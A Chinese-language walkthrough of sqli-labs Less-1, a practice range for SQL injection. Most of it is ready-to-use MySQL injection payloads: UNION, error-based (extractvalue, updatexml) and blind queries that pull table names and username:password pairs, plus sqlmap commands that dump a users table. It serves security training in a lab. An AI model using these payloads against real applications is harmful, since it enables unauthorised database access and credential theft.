【sqli-lab教程】less-1
字数 899 2025-08-12 12:46:02
SQL注入实战教学:sqli-lab Less-1详解
1. 环境准备与初步测试
sqli-lab是一个专门用于学习SQL注入的靶场环境,Less-1是其中最基本的注入关卡。
1.1 初始测试
首先通过简单的参数修改测试页面是否有回显变化:
?id=1
?id=2
观察页面内容是否随参数变化而变化,确认存在回显点。
1.2 判断注入类型
测试字符型还是数字型注入:
?id=2' # 添加单引号测试
如果页面报错,则可能是字符型注入;如果正常显示则可能是数字型注入。
2. 注入技术详解
2.1 布尔盲注测试
通过逻辑判断确认注入可行性:
?id=2' and 1=1 --+ # 页面正常
?id=2' and 1=2 --+ # 页面不正常
--+是注释符号,用于注释掉SQL语句后面的部分。
2.2 延时注入测试
?id=2' and sleep(5) --+ # 观察页面响应是否延迟
2.3 判断列数
使用order by确定查询返回的列数:
?id=2' order by 1 --+ # 正常
?id=2' order by 2 --+ # 正常
?id=2' order by 3 --+ # 正常
?id=2' order by 4 --+ # 不正常
由此判断共有3列。
3. 联合查询注入
3.1 基本联合查询
?id=-2' UNION SELECT 1,2,3 --+
添加负号使前段查询不返回结果,只显示UNION后的结果。
3.2 获取数据库信息
?id=-2' UNION SELECT 1,version(),database() --+
version()获取数据库版本,database()获取当前数据库名。
3.3 获取表信息
?id=-2' UNION SELECT 1,version(),(select table_name from information_schema.tables where table_schema='security' limit 0,1) --+
通过修改limit参数可以获取不同的表名。
4. 报错注入技术
4.1 group by报错注入
?id=1' union select 1,count(*), concat((select database()),0x5e,floor(rand(0)*2)) x from information_schema.tables group by x --+
利用group by和rand()函数导致的报错来获取信息。
4.2 extractvalue()报错注入
?id=1' and extractvalue(1,concat(0x5e,version(),0x5e)) --+ # 查询数据库版本
?id=1' and extractvalue(1,concat(0x5e,database(),0x5e)) --+ # 查询数据库名
0x5e是^符号,用于分隔报错信息。
4.3 查询表结构
?id=1' and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x5e)) --+
通过修改limit参数获取不同表名。
4.4 查询列信息
?id=1' and extractvalue(1,concat(0x5e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x5e)) --+
4.5 查询数据
?id=1' and extractvalue(1,concat(0x5e,(select concat(username,0x3a,password) from users limit 0,1),0x5e)) --+
0x3a是冒号:,用于分隔用户名和密码。
4.6 updatexml()报错注入
?id=1' and updatexml(1,concat(0x5e,(select concat(username,0x3a,password) from users limit 1,1),0x5e),1) --+
原理与extractvalue()类似,但有三个参数。
5. 盲注技术
5.1 布尔盲注
判断数据库长度
?id=1' and length(database())>8 --+
?id=1' and length(database())=8 --+
逐字符判断数据库名
?id=1' and ascii(substr(database(),1,1))<116 --+
?id=1' and ascii(substr(database(),1,1))=115 --+
115的ASCII码对应字母's'。
判断表信息
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 --+
101的ASCII码对应字母'e'。
5.2 时间盲注
?id=1' and if(length(database())>1,sleep(5),1) --+
如果条件为真,则执行sleep(5)延迟5秒。
6. 自动化工具sqlmap使用
6.1 基本检测
sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1
6.2 获取数据库
sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1 --dbs
6.3 获取表名
sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1 -D security --tables
6.4 获取数据
sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1 -D security -T users --columns --dump
7. 技术选择建议
推荐使用顺序:
- 联合查询注入
- 报错注入
- 布尔盲注
- 时间注入
联合查询效率最高,时间注入效率最低但最隐蔽。